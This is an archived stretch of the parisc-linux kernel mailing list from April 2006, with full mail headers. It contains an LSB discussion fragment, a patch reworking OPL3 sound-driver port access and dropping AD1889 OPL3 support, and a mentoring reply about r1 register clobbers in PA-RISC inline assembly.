believes the LSB to be useless...   Time will tell.

> > If it's
> > possible to obtain full community support, it's more likely that the
> > document would be useful and a guide to implementors.  However,
> > just documenting what is would be useful.
> 
> Here, here! And don't worry about doing the work via the LSB, just produce the 
> standard and the LSB will adopt it when it makes sense.

It would be a significant achievement if production of these documents
allowed PA-RISC to become part of the LSB standard!  I think it fair to
say that almost all (all?) of the processor specific documents referenced
by the LSB were developed by commercial entities rather than the open source
community at large.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] split out opl3 stuff
Date: Thu, 20 Apr 2006 11:25:20 -0400
Lines: 357
Approved: news@gmane.org
Message-ID: <20060420152520.GA22181@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624059 18994 80.91.229.3 (22 Nov 2014 02:40:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 15:25:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 20 Apr 2006 17:25:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60EF57D6DE;
	Thu, 20 Apr 2006 09:25:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04643-07; Thu, 20 Apr 2006 09:25:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16ADD7D6DF;
	Thu, 20 Apr 2006 09:25:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32A947D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 09:25:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04643-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 09:25:47 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 0E7947D6DA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 09:25:47 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0E63D5840C0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:25:46 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id DA2865840BA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:25:44 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 70C1523E83
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:25:44 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13446-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:25:44 -0400 (EDT)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id B1C5C23E82
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:25:43 -0400 (EDT)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 665D93B04F; Thu, 20 Apr 2006 11:25:20 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Sd0mID5ia0Aovr6aejEzMzQ3Njh6dM7v
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23591

Reduces the amount of hand editing diffs I need to do...

Index: include/sound/opl3.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/sound/opl3.h,v
retrieving revision 1.6
diff -u -d -p -r1.6 opl3.h
--- include/sound/opl3.h	3 Apr 2006 13:46:08 -0000	1.6
+++ include/sound/opl3.h	20 Apr 2006 15:20:02 -0000
@@ -261,11 +261,10 @@ struct snd_opl3_voice {
 };
 
 struct snd_opl3 {
-	void __iomem *l_port;
-	void __iomem *r_port;
+	unsigned long l_port;
+	unsigned long r_port;
 	struct resource *res_l_port;
 	struct resource *res_r_port;
-	int unmap_on_free;
 	unsigned short hardware;
 	/* hardware access */
 	void (*command) (struct snd_opl3 * opl3, unsigned short cmd, unsigned char val);
@@ -326,9 +325,6 @@ int snd_opl3_create(struct snd_card *car
 		    unsigned short hardware,
 		    int integrated,
 		    struct snd_opl3 ** opl3);
-int snd_opl3_create_mapped(struct snd_card *card,
-			   void __iomem *l_port, void __iomem *r_port,
-			   unsigned short hardware, struct snd_opl3 **opl3);
 int snd_opl3_timer_new(struct snd_opl3 * opl3, int timer1_dev, int timer2_dev);
 int snd_opl3_hwdep_new(struct snd_opl3 * opl3, int device, int seq_device,
 		       struct snd_hwdep ** rhwdep);
Index: sound/drivers/opl3/opl3_lib.c
===================================================================
RCS file: /var/cvs/linux-2.6/sound/drivers/opl3/opl3_lib.c,v
retrieving revision 1.15
diff -u -d -p -r1.15 opl3_lib.c
--- sound/drivers/opl3/opl3_lib.c	3 Apr 2006 13:46:33 -0000	1.15
+++ sound/drivers/opl3/opl3_lib.c	20 Apr 2006 15:20:03 -0000
@@ -40,7 +40,7 @@ extern char snd_opl3_regmap[MAX_OPL2_VOI
 static void snd_opl2_command(struct snd_opl3 * opl3, unsigned short cmd, unsigned char val)
 {
 	unsigned long flags;
-	void __iomem *port;
+	unsigned long port;
 
 	/*
 	 * The original 2-OP synth requires a quite long delay
@@ -51,10 +51,10 @@ static void snd_opl2_command(struct snd_
 
 	spin_lock_irqsave(&opl3->reg_lock, flags);
 
-	iowrite8((unsigned char) cmd, port);
+	outb((unsigned char) cmd, port);
 	udelay(10);
 
-	iowrite8((unsigned char) val, port + 1);
+	outb((unsigned char) val, port + 1);
 	udelay(30);
 
 	spin_unlock_irqrestore(&opl3->reg_lock, flags);
@@ -63,7 +63,7 @@ static void snd_opl2_command(struct snd_
 static void snd_opl3_command(struct snd_opl3 * opl3, unsigned short cmd, unsigned char val)
 {
 	unsigned long flags;
-	void __iomem *port;
+	unsigned long port;
 
 	/*
 	 * The OPL-3 survives with just two INBs
@@ -74,13 +74,13 @@ static void snd_opl3_command(struct snd_
 
 	spin_lock_irqsave(&opl3->reg_lock, flags);
 
-	iowrite8((unsigned char) cmd, port);
-	ioread8(opl3->l_port);
-	ioread8(opl3->l_port);
+	outb((unsigned char) cmd, port);
+	inb(opl3->l_port);
+	inb(opl3->l_port);
 
-	iowrite8((unsigned char) val, port + 1);
-	ioread8(opl3->l_port);
-	ioread8(opl3->l_port);
+	outb((unsigned char) val, port + 1);
+	inb(opl3->l_port);
+	inb(opl3->l_port);
 
 	spin_unlock_irqrestore(&opl3->reg_lock, flags);
 }
@@ -104,7 +104,7 @@ static int snd_opl3_detect(struct snd_op
 	opl3->command(opl3, OPL3_LEFT | OPL3_REG_TIMER_CONTROL, OPL3_TIMER1_MASK | OPL3_TIMER2_MASK);
 	/* Reset the IRQ of the FM chip */
 	opl3->command(opl3, OPL3_LEFT | OPL3_REG_TIMER_CONTROL, OPL3_IRQ_RESET);
-	signature = stat1 = ioread8(opl3->l_port);	/* Status register */
+	signature = stat1 = inb(opl3->l_port);	/* Status register */
 	if ((stat1 & 0xe0) != 0x00) {	/* Should be 0x00 */
 		snd_printd("OPL3: stat1 = 0x%x\n", stat1);
 		return -ENODEV;
@@ -116,7 +116,7 @@ static int snd_opl3_detect(struct snd_op
 	/* Now we have to delay at least 80us */
 	udelay(200);
 	/* Read status after timers have expired */
-	stat2 = ioread8(opl3->l_port);
+	stat2 = inb(opl3->l_port);
 	/* Stop the timers */
 	opl3->command(opl3, OPL3_LEFT | OPL3_REG_TIMER_CONTROL, OPL3_TIMER1_MASK | OPL3_TIMER2_MASK);
 	/* Reset the IRQ of the FM chip */
@@ -299,7 +299,7 @@ void snd_opl3_interrupt(struct snd_hwdep
 		return;
 
 	opl3 = hw->private_data;
-	status = ioread8(opl3->l_port);
+	status = inb(opl3->l_port);
 #if 0
 	snd_printk("AdLib IRQ status = 0x%x\n", status);
 #endif
@@ -327,10 +327,6 @@ static int snd_opl3_free(struct snd_opl3
 		opl3->private_free(opl3);
 	release_and_free_resource(opl3->res_l_port);
 	release_and_free_resource(opl3->res_r_port);
-	if (opl3->unmap_on_free) {
-		iounmap(opl3->l_port);
-		iounmap(opl3->r_port);
-	}
 	kfree(opl3);
 	return 0;
 }
@@ -397,14 +393,12 @@ int snd_opl3_init(struct snd_opl3 *opl3)
 	return 0;
 }
 
-static int snd_opl3_create_main(struct snd_card * card,
-				void __iomem *l_port,
-				void __iomem *r_port,
-				int unmap_on_free,
-				struct resource *res_l_port,
-				struct resource *res_r_port,
-				unsigned short hardware,
-				struct snd_opl3 **ropl3)
+int snd_opl3_create(struct snd_card *card,
+		    unsigned long l_port,
+		    unsigned long r_port,
+		    unsigned short hardware,
+		    int integrated,
+		    struct snd_opl3 ** ropl3)
 {
 	struct snd_opl3 *opl3;
 	int err;
@@ -412,11 +406,21 @@ static int snd_opl3_create_main(struct s
 	*ropl3 = NULL;
 	if ((err = snd_opl3_new(card, hardware, &opl3)) < 0)
 		return err;
+	if (! integrated) {
+		if ((opl3->res_l_port = request_region(l_port, 2, "OPL2/3 (left)")) == NULL) {
+			snd_printk(KERN_ERR "opl3: can't grab left port 0x%lx\n", l_port);
+			snd_device_free(card, opl3);
+			return -EBUSY;
+		}
+		if (r_port != 0 &&
+		    (opl3->res_r_port = request_region(r_port, 2, "OPL2/3 (right)")) == NULL) {
+			snd_printk(KERN_ERR "opl3: can't grab right port 0x%lx\n", r_port);
+			snd_device_free(card, opl3);
+			return -EBUSY;
+		}
+	}
 	opl3->l_port = l_port;
 	opl3->r_port = r_port;
-	opl3->unmap_on_free = unmap_on_free;
-	opl3->res_l_port = res_l_port;
-	opl3->res_r_port = res_r_port;
 
 	switch (opl3->hardware) {
 	/* some hardware doesn't support timers */
@@ -447,61 +451,6 @@ static int snd_opl3_create_main(struct s
 	return 0;
 }
 
-int snd_opl3_create_mapped(struct snd_card *card,
-			   void __iomem *l_port,
-			   void __iomem *r_port,
-			   unsigned short hardware,
-			   struct snd_opl3 **ropl3)
-{
-	return snd_opl3_create_main(card, l_port, r_port, 0, NULL, NULL, hardware, ropl3);
-}
-
-int snd_opl3_create(struct snd_card * card,
-		    unsigned long l_port,
-		    unsigned long r_port,
-		    unsigned short hardware,
-		    int integrated,
-		    struct snd_opl3 **ropl3) {
-	struct resource *res_l_port = NULL;
-	struct resource *res_r_port = NULL;
-	void __iomem *l_mapped = NULL;
-	void __iomem *r_mapped = NULL;
-	
-	if (!integrated) {
-		if ((res_l_port = request_region(l_port, 2, "OPL2/3 (left)")) == NULL) {
-			snd_printk(KERN_ERR "opl3: can't grab left port 0x%lx\n", l_port);
-			goto fail;
-		}
-		if (r_port != 0 &&
-		    (res_r_port = request_region(r_port, 2, "OPL2/3 (right)")) == NULL) {
-			snd_printk(KERN_ERR "opl3: can't grab right port 0x%lx\n", r_port);
-			goto fail;
-		}
-	}
-	
-	l_mapped = ioport_map(l_port, 2);
-	if (l_mapped == NULL) {
-		snd_printk(KERN_ERR "opl3: failed to map port 0x%lx\n", l_port);
-		goto fail;
-	}
-	r_mapped = ioport_map(r_port, 2);
-	if (r_mapped == NULL) {
-		snd_printk(KERN_ERR "opl3: failed to map port 0x%lx\n", r_port);
-		goto fail;
-	}
-	
-	return snd_opl3_create_main(card, l_mapped, r_mapped, 1, res_l_port, res_r_port, hardware, ropl3);
-
-fail:
-	release_and_free_resource(res_l_port);
-	release_and_free_resource(res_r_port);
-	if (l_mapped)
-		iounmap(l_mapped);
-	if (r_mapped)
-		iounmap(r_mapped);
-	return -EBUSY;
-}
-
 int snd_opl3_timer_new(struct snd_opl3 * opl3, int timer1_dev, int timer2_dev)
 {
 	int err;
@@ -581,7 +530,6 @@ EXPORT_SYMBOL(snd_opl3_interrupt);
 EXPORT_SYMBOL(snd_opl3_new);
 EXPORT_SYMBOL(snd_opl3_init);
 EXPORT_SYMBOL(snd_opl3_create);
-EXPORT_SYMBOL(snd_opl3_create_mapped);
 EXPORT_SYMBOL(snd_opl3_timer_new);
 EXPORT_SYMBOL(snd_opl3_hwdep_new);
 
Index: sound/pci/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/sound/pci/Kconfig,v
retrieving revision 1.27
diff -u -d -p -r1.27 Kconfig
--- sound/pci/Kconfig	3 Apr 2006 13:46:39 -0000	1.27
+++ sound/pci/Kconfig	20 Apr 2006 15:20:03 -0000
@@ -15,14 +15,6 @@ config SND_AD1889
 	  To compile this as a module, choose M here: the module
 	  will be called snd-ad1889.
 
-config SND_AD1889_OPL3
-	bool "Analog Devices AD1889 OPL3 Support (Experimental)"
-	depends on SND_AD1889 && EXPERIMENTAL
-	select SND_OPL3_LIB
-	help
-	  Say Y here to include support for the OPL3-compatible interface
-	  provided on an Analog Devices AD1889.
-
 config SND_ALS300
         tristate "Avance Logic ALS300/ALS300+"
         depends on SND
Index: sound/pci/ad1889.c
===================================================================
RCS file: /var/cvs/linux-2.6/sound/pci/ad1889.c,v
retrieving revision 1.37
diff -u -d -p -r1.37 ad1889.c
--- sound/pci/ad1889.c	3 Apr 2006 13:46:39 -0000	1.37
+++ sound/pci/ad1889.c	20 Apr 2006 15:20:03 -0000
@@ -47,10 +47,6 @@
 #include <sound/initval.h>
 #include <sound/ac97_codec.h>
 
-#ifdef CONFIG_SND_AD1889_OPL3
-#include <sound/opl3.h>
-#endif
-
 #include <asm/io.h>
 
 #include "ad1889.h"
@@ -61,7 +57,6 @@
 MODULE_AUTHOR("Kyle McMartin <kyle@parisc-linux.org>, Thibaut Varene <t-bone@parisc-linux.org>");
 MODULE_DESCRIPTION("Analog Devices AD1889 ALSA sound driver");
 MODULE_LICENSE("GPL");
-MODULE_VERSION(AD1889_DRVVER);
 MODULE_SUPPORTED_DEVICE("{{Analog Devices,AD1889}}");
 
 static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX;
@@ -101,14 +96,6 @@ struct snd_ad1889 {
 	unsigned long bar;
 	void __iomem *iobase;
 
-#ifdef CONFIG_SND_AD1889_OPL3
-	unsigned long opl3_bar;
-	void __iomem *opl3_iobase;
-
-	struct snd_opl3 *opl3;
-	struct snd_hwdep *opl3hwdep;
-#endif
-
 	struct snd_ac97 *ac97;
 	struct snd_ac97_bus *ac97_bus;
 	struct snd_pcm *pcm;
@@ -887,11 +874,6 @@ skip_hw:
 	if (chip->iobase)
 		iounmap(chip->iobase);
 
-#ifdef CONFIG_SND_AD1889_OPL3
-	if (chip->opl3_iobase)
-		iounmap(chip->opl3_iobase);
-#endif
-	
 	pci_release_regions(chip->pci);
 	pci_disable_device(chip->pci);
 
@@ -972,17 +954,6 @@ snd_ad1889_create(struct snd_card *card,
 
 	spin_lock_init(&chip->lock);	/* only now can we call ad1889_free */
 
-#ifdef CONFIG_SND_AD1889_OPL3
-	chip->opl3_bar = pci_resource_start(pci, 1);
-	chip->opl3_iobase = ioremap_nocache(chip->opl3_bar, 
-					   pci_resource_len(pci, 1));
-	if (chip->opl3_iobase == NULL) {
-		printk(KERN_ERR PFX "unable to reserve region.\n");
-		snd_ad1889_free(chip);
-		return -EBUSY;
-	}
-#endif
-
 	if (request_irq(pci->irq, snd_ad1889_interrupt,
 			SA_INTERRUPT|SA_SHIRQ, card->driver, (void*)chip)) {
 		printk(KERN_ERR PFX "cannot obtain IRQ %d\n", pci->irq);
@@ -1058,22 +1029,6 @@ snd_ad1889_probe(struct pci_dev *pci,
 	if (err < 0)
 		goto free_and_ret;
 	
-#ifdef CONFIG_SND_AD1889_OPL3
-	err = snd_opl3_create_mapped(card, chip->opl3_iobase,
-				     chip->opl3_iobase + 2, OPL3_HW_OPL3,
-				     &chip->opl3);
-	if (err) {
-		printk(KERN_ERR PFX "failed to create opl3\n");
-		goto free_and_ret;
-	}
-
-	err = snd_opl3_hwdep_new(chip->opl3, 0, 0, &chip->opl3hwdep);
-	if (err) {
-		printk(KERN_ERR PFX "failed to create opl3hwdep\n");
-		goto free_and_ret;
-	}
-#endif

From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
	__put_kernel_asm() 64bit?
Date: Thu, 20 Apr 2006 13:09:20 -0400
Lines: 88
Approved: news@gmane.org
Message-ID: <119aab440604201009t2e5513c4n69b4a68477998768@mail.gmail.com>
References: <IY13E1$80C55BA8C044E2D421CA2D8B24C31D6A@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624060 18997 80.91.229.3 (22 Nov 2014 02:41:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:00 +0000 (UTC)
To: "Joel Soete" <soete.joel@tiscali.be>,
 "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 17:09:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 20 Apr 2006 19:09:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F7C47D6F2;
	Thu, 20 Apr 2006 11:09:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05851-07; Thu, 20 Apr 2006 11:09:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 061717D6F3;
	Thu, 20 Apr 2006 11:09:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 698947D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:09:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05851-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:09:24 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.205])
	by free.linux.hp.com (Postfix) with ESMTP id 7E72D7D6EB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:09:24 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 18so337323nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 10:09:23 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=EkuaNEWdb382ta5Kkii74t0qVEsFXudB6d2WMNrAS/UDr4x2rl/QjIPbNN0e/+h/+4JwZSZsCRosyq2nom31aeQyzh7CvBEPxY06GmO9337vTl3SyFjvPJ5FKLU4HfFG/g5R0UKTZtQOqrqJYimC0YkD0O48XoH6DzYrT4phyV0=
Original-Received: by 10.36.74.2 with SMTP id w2mr1070488nza;
	Thu, 20 Apr 2006 10:09:21 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Thu, 20 Apr 2006 10:09:20 -0700 (PDT)
In-Reply-To: <IY13E1$80C55BA8C044E2D421CA2D8B24C31D6A@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dvhxDWNQQEVs4OjDZnVpSktKNzg2NcIA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23592

On 4/20/06, Joel Soete <soete.joel@tiscali.be> wrote:
> Please help me I hate this game:
>   - tel me why?
>   - no tel me why not?
>   - ...

This is all part of learning. We want to teach you to do some of the
research yourself before emailing to the list. When you send email you
should have some research done which contributes to the solution of
the problem. For example the research you have done below is exactly
what I would have expected from a serious hacker. This is an excellent
amount of research! Good work Joel.

> > a) What does a clobber mean from the viewpoint of an __asm?
>
> Sorry, I was the first to put this question:
> "btw I had another question: what's the meaning of 'clobber' in the sens =
of
> asm extension of gcc?

*I* know the answer. The question is intended for you to learn how to resea=
rch.
Google is a horrible research tool. I recommend going to the source. GCC ha=
s
great manuals.

a) Go to "http://gcc.gnu.org/"
b) Click on "Manual"
c) Click on "GCC 4.1.0 Manual"
d) Read sections 5.34 and 5.35 describing the behaviour of asm's.

Please read the manuals if you don't know the answer. It keeps others from
being frustrated. The manuals were written for a reason.

> > b) Which insn clobber r1?
> >
> Hey, may be am I be confused by the complexity if this stuff: fixup().

The following is not an answer to the question. Though it is a good
analysis of the problem.

[snip]

> My understanding of all those matter is: when an error occures while the =
store
> (here) insn, an interruption occures which in turn launch the
> fixup_put_user_skip_1()

A couple more questions for research :)

Q: Does the process of interruption clobber registers?
Q: Does fixup_put_user_skip_1() execute in the interruption, or after when
     returning the interrupted user process?

> imho, it would make sense that the fixup_*()'s author
> <http://cvs.parisc-linux.org/linux-2.6/include/asm-parisc/uaccess.h?r1=3D=
1.15&r2=3D1.16>
> put r1 in clobbered list "to tell the compiler the" gr1's value is modifi=
ed.

Don't trust other authors, Randolph might have made a mistake!

> > c) Should any of the __put_kernel_asm's have r1 listed as a clobber?
> imho, Yes (if there wasn't anoying fusy _probably_).

Haha! :)

> That said, according to the same logic, Mike make me also noticed that in=
 our
> unaligned.c we have e.g.:
> static int emulate_ldh(struct pt_regs *regs, int toreg)
> also shouldn't we also 'probably' put r1 in the clobbered register list.

Yes, if you can answer the questions above then you have a valid basis
for adding "r1" to the clober list.

Joel, I'm only trying to help, so stick with it, we're almost done the
problem analysis. After which there will be some *real* work to do to
fix our kernel :)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Thu, 20 Apr 2006 13:28:16 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200604201728.k3KHSH7W022804@hiauly1.hia.nrc.ca>
References: <119aab440604201009t2e5513c4n69b4a68477998768@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624060 19002 80.91.229.3 (22 Nov 2014 02:41:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:00 +0000 (UTC)
Cc: soete.joel@tiscali.be,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 17:28:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 20 Apr 2006 19:28:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B96447D6F2;
	Thu, 20 Apr 2006 11:28:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06035-10; Thu, 20 Apr 2006 11:28:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E58677D6F3;
	Thu, 20 Apr 2006 11:28:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22A737D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:28:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
